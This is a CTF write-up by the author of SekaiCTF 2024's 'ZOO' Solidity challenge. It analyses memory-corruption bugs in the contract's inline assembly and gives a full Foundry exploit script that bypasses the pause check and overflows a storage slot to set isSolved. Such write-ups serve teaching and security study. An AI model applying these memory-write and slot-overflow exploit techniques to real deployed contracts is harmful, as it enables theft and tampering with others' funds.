Home (CTF) SekaiCTF 2024 writeup (ZOO)
Post
Cancel

(CTF) SekaiCTF 2024 writeup (ZOO)

I made solidity assembly challenge in sekai ctf 2024. ended up with 13 solves. you can check the detail here

ZOO


welcome to assembly zoo

There are two functions, fallback and commit (internal)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fallback() external payable {
	function(bytes memory)[] memory functions = new function(
		bytes memory
	)[](1);
	functions[0] = commit;

	bytes memory local_animals;
	assembly {
		let arr := mload(0x40)
		let size := calldatasize()
		mstore(arr, size)
		let size_align := add(add(size, sub(0x20, mod(size, 0x20))), 0x20)
		mstore(0x40, add(arr, size_align))
		calldatacopy(add(arr, 0x20), 0, size)

		local_animals := mload(0x40)
		mstore(0x40, add(local_animals, 0x120))

in fallback function, first it creates function pointer array with length 1. And then, it copies the calldata to arr, with the calldatasize aligned to 0x20 and allocates local_animals with size 0x120. If we sent 0x200 size of calldata, the memory layout is as follows

offsetvaluecomment
0x800x01length of functions
0xa00x31boffset of commit function
0xc00xXXcalldatasize
0xe00xXXcalldata
  
0x3000x00local_animals count
0x3200xXXoffset of first local_animal
0x4000xXXoffset of last local_animal

It provides 3 types of opcode

  • add_animal (0x10)
  • edit_animal (0x20)
  • del_animal (0x30)

The format of the calldata is as follows. (The number in parentheses indicates the size)

 ABCDE
1ADD(1)IDX(1)NAME_LENGTH(2)TYPE(2)NAME(NAME_LENGTH)
2EDIT(1)IDX(1)EDIT_TYPE(1)NAME_LENGTH(2)NAME(NAME_LENGTH)
3EDIT(1)IDX(1)EDIT_TYPE(1)NEW_TYPE(2) 
4DEL(1)IDX(1)   

fallback - analysis


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
case 0x10 {
	let idx := mload(add(add(arr, 0x20), i))
	idx := shr(0xf8, idx)
	i := add(i, 1)

	if gt(idx, 7) {
		revert(0, 0)
	}

	let name_length := mload(add(add(arr, 0x20), i))
	name_length := shr(0xf0, name_length)
	i := add(i, 2)

	let animal_index := mload(add(add(arr, 0x20), i))
	animal_index := shr(0xf0, animal_index)
	i := add(i, 2)

	let temp := mload(0x40)
	mstore(temp, animal_index)
	mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length)
	i := add(i, name_length)

	name_length := add(
		name_length,
		sub(0x20, mod(name_length, 0x20))
	)

	mstore(add(temp, 0x20), name_length)
	mstore(0x40, add(temp, add(name_length, 0x40)))

	mstore(add(add(local_animals, 0x20), mul(0x20, idx)), temp)

	let animals_count := mload(local_animals)
	mstore(local_animals, add(animals_count, 1))
}

First, in add_animal, It checks whether the index is greater than 7. Then, it allocates memory based on name_length and adds it’s offset to local_animals and then increase animals count.

there’s no check to prevent allocating in the same slot multiple times, which could cause the animals count to exceed 7.

The structure of animal is as follows

offsetvaluecomment
0x000xXXanimal_index
0x200xXXanimal_length (aligned to 0x20)
0x400xXXanimal_name
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
case 0x20 {
	let idx := mload(add(add(arr, 0x20), i))
	idx := shr(0xf8, idx)
	i := add(i, 1)

	if gt(idx, 7) {
		revert(0, 0)
	}

	let offset := add(add(local_animals, 0x20), mul(0x20, idx))
	let temp := mload(offset)

	let edit_type := mload(add(add(arr, 0x20), i))
	edit_type := shr(0xf8, edit_type)
	i := add(i, 1)

	switch edit_type
	case 0x21 {
		let name_length := mload(add(add(arr, 0x20), i))
		name_length := shr(0xf0, name_length)
		i := add(i, 2)

		mcopy(
			add(temp, 0x40),
			add(add(arr, 0x20), i),
			name_length
		)
	}
	case 0x22 {
		let new_type := mload(add(add(arr, 0x20), i))
		new_type := shr(0xf0, new_type)
		i := add(i, 2)

		mstore(add(temp, 0x20), new_type)
	}
}

Second, in edit_animal, It also checks whether the index is greater than 7. Then, It gets the type of edit.

  • edit name (0x21): edit the name of animal with new length. This causes an overflow, allowing us to modify the contents of next-allocated animal
  • edit type (0x22): edit type of animal with 2-byte type

there’s no check about offset 0, so we can modify 0x40~0x40+name_length

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case 0x30 {
	let idx := mload(add(add(arr, 0x20), i))
	idx := shr(0xf8, idx)
	i := add(i, 1)

	if gt(idx, 7) {
		revert(0, 0)
	}

	let offset := add(add(local_animals, 0x20), mul(0x20, idx))
	let temp := mload(offset)

	let copy_size := sub(0x100, mul(0x20, idx))
	mcopy(offset, add(offset, 0x20), copy_size)

	let animals_count := mload(local_animals)
	animals_count := sub(animals_count, 1)
	mstore(local_animals, animals_count)
}

Third, in del_animal, It also checks whether the index is greater than 7. Then, It moves forward by 0x20 bytes starting from index i.

here’s a wrong calculation, sub(0x100, mul(0x20, idx)) so we can set the last element of local_animal 2-byte type of first animal. So we can get arbitrary memory write with this primitive.

offsetvaluecomment
0x3200xXXoffset of first local_animal
0x4000xXXoffset of last local_animal
0x4200xXXtype of first aniamal
0x4400xXXname_length of first animal
0x4600x00name of first animal
  

commit - analysis


NameTypeSlotOffsetBytesContract
_pausedbool001src/ZOO.sol:ZOO
isSolveduint2561032src/ZOO.sol:ZOO
animalsstruct ZOO.AnimalWrapper[]2032src/ZOO.sol:ZOO
      

This is storage layout about ZOO contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
AnimalWrapper[] public animals;
struct AnimalWrapper {
        Animal animal;
        uint256 counter;
    }
...
constructor() {
	animals.push(AnimalWrapper(new Animal("PANDA", "PND"), 0));
	animals.push(AnimalWrapper(new Animal("TIGER", "TGR"), 0));
	animals.push(AnimalWrapper(new Animal("HORSE", "HRS"), 0));
	animals.push(AnimalWrapper(new Animal("ZIBRA", "ZBR"), 0));
	animals.push(AnimalWrapper(new Animal("HIPPO", "HPO"), 0));
	animals.push(AnimalWrapper(new Animal("LION", "LON"), 0));
	animals.push(AnimalWrapper(new Animal("BEAR", "BAR"), 0));
	animals.push(AnimalWrapper(new Animal("WOLF", "WLF"), 0));
	animals.push(AnimalWrapper(new Animal("ELEPHANT", "ELP"), 0));
	animals.push(AnimalWrapper(new Animal("RHINO", "RNO"), 0));

	// The ZOO is not opened yet :(
	_pause();
}

In constructor, it pushes some Animal token and sets the ZOO contract to pause. animals is AnimalWrapper struct array which has counter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity 0.8.25;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract Animal is ERC721, Ownable {

    struct status {
        uint256 feed;
        string name;
    }

    mapping(uint256 => status) public animalStatus;
    uint256 public counter;

    constructor(string memory name, string memory symbol) ERC721(name, symbol) Ownable(msg.sender) {
    }

    function feed(uint256 tokenId, uint256 amount) public onlyOwner {
        animalStatus[tokenId].feed += amount;
    }
    function setName(uint256 tokenId, string memory name) public onlyOwner {
        animalStatus[tokenId].name = name;
    }
    function addAnimal(address to) public onlyOwner {
        _safeMint(to, counter);
        counter++;
    }
}

Animal Contract is just ERC721 contract which only can called by owner. but it’s unreleated to the solution :3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function commit(bytes memory data) internal whenNotPaused {
	assembly {
		let counter := 0
		let length := mload(data)

		for {
			let i := 0
		} lt(i, length) {
			i := add(i, 1)
		} {
			let idx
			let name

			let memPtr := mload(0x40)

			let ptr := mload(add(add(data, 0x20), counter))
			idx := mload(ptr)
			name := add(ptr, 0x20)
			let name_length := mload(name)
			counter := add(counter, 0x20)

			mstore(0x00, animals.slot)
			let slot_hash := keccak256(0x00, 0x20)
			let animal_addr := sload(add(slot_hash, mul(2, idx)))
			let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))

			if gt(animal_counter, 50) {
				revert(0, 0)
			}

			mstore(memPtr, shl(0xe0, 0x1436163e))
			mstore(add(memPtr, 0x4), caller())

			pop(call(gas(), animal_addr, 0x00, memPtr, 0x24, memPtr, 0x00))

			mstore(memPtr, shl(0xe0, 0x61bc221a))
			pop(staticcall(gas(), animal_addr, memPtr, 0x20, memPtr, 0x20))

			let animal_count := sub(mload(memPtr), 0x1)

			mstore(memPtr, shl(0xe0, 0xfe55932a))
			mstore(add(memPtr, 0x4), animal_count)
			mstore(add(memPtr, 0x24), 0x40)
			mstore(add(memPtr, 0x44), name_length)
			mcopy(add(memPtr, 0x64), name, name_length)

			pop(call(gas(), animal_addr, 0x00, memPtr, 0x84, memPtr, 0x00))

			sstore(
				add(add(slot_hash, mul(2, idx)), 1),
				add(animal_counter, 1)
			)
		}
	}
}

In commit function, It gets each animal name, index and mint animal to msg.sender and increase each counter.

1
animal_counter = keccak256(animals.slot)+2*idx+1

animal_counter is calculated as above. It uses add to calculate so we can overflow it to return slot number 1 (slot number of isSolved)

1
2
3
4
5
(uint256(int256(-1)) - uint256(keccak256(abi.encode(2))))/2+1
Type: uint256
├ Hex: 0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299
├ Hex (full word): 0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299
└ Decimal: 43344706377821576760468996987613231211325356002982170351334206299952371618457

yeah, so we can pass that number as idx to increase isSolved by 1. but

  • size of the idx is only 2-byte
  • we should bypass pause to enter commit function

pause - bypass


bytegraph you check the bytecode at bytegraph.xyz. It pushes 0x323 and checks whether slot 0 (pause) is zero, if not it reverts.

In EVM, we can only jump to JUMPDEST or it reverts. So, to bypass pause check, we should jump to 0x323.

Plan for Attack


there are various ways to manipulate memory :3

  1. Set local_animals to point to the offset with the target index (as mentioned above).
  2. Set the offset of commit to 0x323 to bypass the pause check.

I used the bug of in del

  1. add a fake_animal with the target index in the name, and set its index to 0x400 (the offset of the first animal).
  2. delete first index to set the 7th offset to 0x400 (offset of first animal)
  3. edit 7th type (first animal) to 0x80 (function table offset)
  4. delete first index to set the 7th offset to 0x80 (offset of function table)
  5. edit 7th type (offset of function_table) to 0x323 (over the pause check logic)
  6. edit 6th type (0x400) to 0x300 (offset of local_animal)
  7. delete first index to set the 7th offset to local_animal
  8. edit 7th type (first offset of local_animal) to 0x460 (offset of fake_animal)
  9. only one animal was added, but it was deleted three times, causing the animal_count to become a negative number. Now, add three animals to index 1.
  10. add length padding to ensure the locate local_animal is located at 0x300

Solve.s.sol & solve.sh


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pragma solidity ^0.8.25;

import {Script, console2} from "forge-std/Script.sol";

interface Setup {
    function zoo() external view returns (address);
    function isSolved() external view returns (bool);
}

contract Solve is Script {
    function run() public {
        vm.startBroadcast();
        Setup setup = Setup(vm.envAddress("SETUP"));
        console2.log("setup", address(setup));
        address zoo = setup.zoo();
        console2.log("zoo", address(zoo));

        // ADD(1) | IDX(1) | NAME_LENGTH(2) | TYPE(2) | NAME(NAME_LENGTH)
        // EDIT(1) | IDX(1) | EDIT_TYPE(1) | NAME_LENGTH(2) | NAME(NAME_LENGTH)
        // EDIT{1) | IDX(1) | EDIT_TYPE(1) | NEW_TYPE(2)
        // DEL(1) | IDX(1)

        // function pointer: 0x80 ( 0x312 )
        // local animal : 0x300
        // first animal: 0x320
        // first alloc : 0x420
        // fake_animal : 0x460
        // 0x323 : over pause

        uint256 target_idx = uint256(int256(-1)) - uint256(keccak256(abi.encode(2)));
        uint16 target_jmp = 0x323;
        uint16 function_table = 0x80;
        uint16 first_alloc = 0x400;
        uint16 local_animal = 0x300;
        uint16 fake_animal_idx = 0x460;
        target_idx /= 2;
        target_idx += 1;

        bytes memory call = "";
        bytes memory fake_animal = abi.encodePacked(uint256(target_idx), uint256(0x20), hex"41414141");
        call = abi.encodePacked(call, uint8(0x10),uint8(0x00),uint16(fake_animal.length),uint16(first_alloc), fake_animal);
        call = abi.encodePacked(call, hex"3000");
        call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(function_table));
        call = abi.encodePacked(call, hex"3000");
        call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(target_jmp));
        call = abi.encodePacked(call, uint8(0x20),uint8(0x06),uint8(0x22), uint16(local_animal));
        call = abi.encodePacked(call, hex"3000");
        call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(fake_animal_idx));
        call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
        call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
        call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");

        uint256 length = call.length;
        console2.log("length", length);
        uint256 target = 0x200 - length;
        for (uint i = 0; i < target; i++) {
            call = abi.encodePacked(call, hex"ba");
        }
        (bool success, bytes memory out) = address(zoo).call(call);
        console2.log("solved?", setup.isSolved());
        assert(setup.isSolved());
        vm.stopBroadcast();
    }
}
1
2
3
4
5
6
export RPC=<rpc>
export PVKEY=<pvKey>
export SETUP=<setup-address>

forge init --force .
forge script --broadcast --rpc-url $RPC --private-key $PVKEY ./Solve.s.sol:Solve --evm-version cancun

flag: SEKAI{super-duper-memory-master-:3}

pro tip - debug


using foundry debugger, you can easily debug the contract :3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pragma solidity ^0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {ZOO} from "src/ZOO.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ZOOTest is Test {
    function test_run() public {
        ZOO zoo = new ZOO();

        // ADD(1) | IDX(1) | NAME_LENGTH(2) | TYPE(2) | NAME(NAME_LENGTH)
        // EDIT(1) | IDX(1) | EDIT_TYPE(1) | NAME_LENGTH(2) | NAME(NAME_LENGTH)
        // EDIT{1) | IDX(1) | EDIT_TYPE(1) | NEW_TYPE(2)
        // DEL(1) | IDX(1)

        // function pointer: 0x80 ( 0x312 )
        // local animal : 0x300
        // first animal: 0x320
        // first alloc : 0x420
        // fake_animal : 0x460
        // 0x323 : over pause

        uint256 target_idx = uint256(int256(-1)) - uint256(keccak256(abi.encode(2)));
        uint16 target_jmp = 0x323;
        uint16 function_table = 0x80;
        uint16 first_alloc = 0x400;
        uint16 local_animal = 0x300;
        uint16 fake_animal_idx = 0x460;
        target_idx /= 2;
        target_idx += 1;

        bytes memory call = "";
        bytes memory fake_animal = abi.encodePacked(uint256(target_idx), uint256(0x20), hex"41414141");
        call = abi.encodePacked(call, uint8(0x10),uint8(0x00),uint16(fake_animal.length),uint16(first_alloc), fake_animal);
        call = abi.encodePacked(call, hex"3000");
        call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(function_table));
        call = abi.encodePacked(call, hex"3000");
        call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(target_jmp));
        call = abi.encodePacked(call, uint8(0x20),uint8(0x06),uint8(0x22), uint16(local_animal));
        call = abi.encodePacked(call, hex"3000");
        call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(fake_animal_idx));
        call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
        call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
        call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");

        // Add length padding to ensure the correct offset
        uint256 length = call.length;
        console2.log("length", length);
        uint256 target = 0x200 - length;
        for (uint i = 0; i < target; i++) {
            call = abi.encodePacked(call, hex"ba");
        }
        (bool success, bytes memory out) = address(zoo).call(call);
        console2.log("success", success);
        console2.log("length: ", out.length);
        console2.logBytes(out);
        console2.log("solved?", zoo.isSolved());
    }
}

just write this code to test/ZOO.t.sol and run this command

forge debug test/ZOO.t.sol:ZOOTest -s “test_run()”

debugger \o3o/

Conclusion


Thank you for enjoy my chall and SekaiCTF 2024! I’ll return to SekaiCTF 2025 with even more harder non-EVM challenge :3

This post is licensed under CC BY 4.0 by the author.
Trending Tags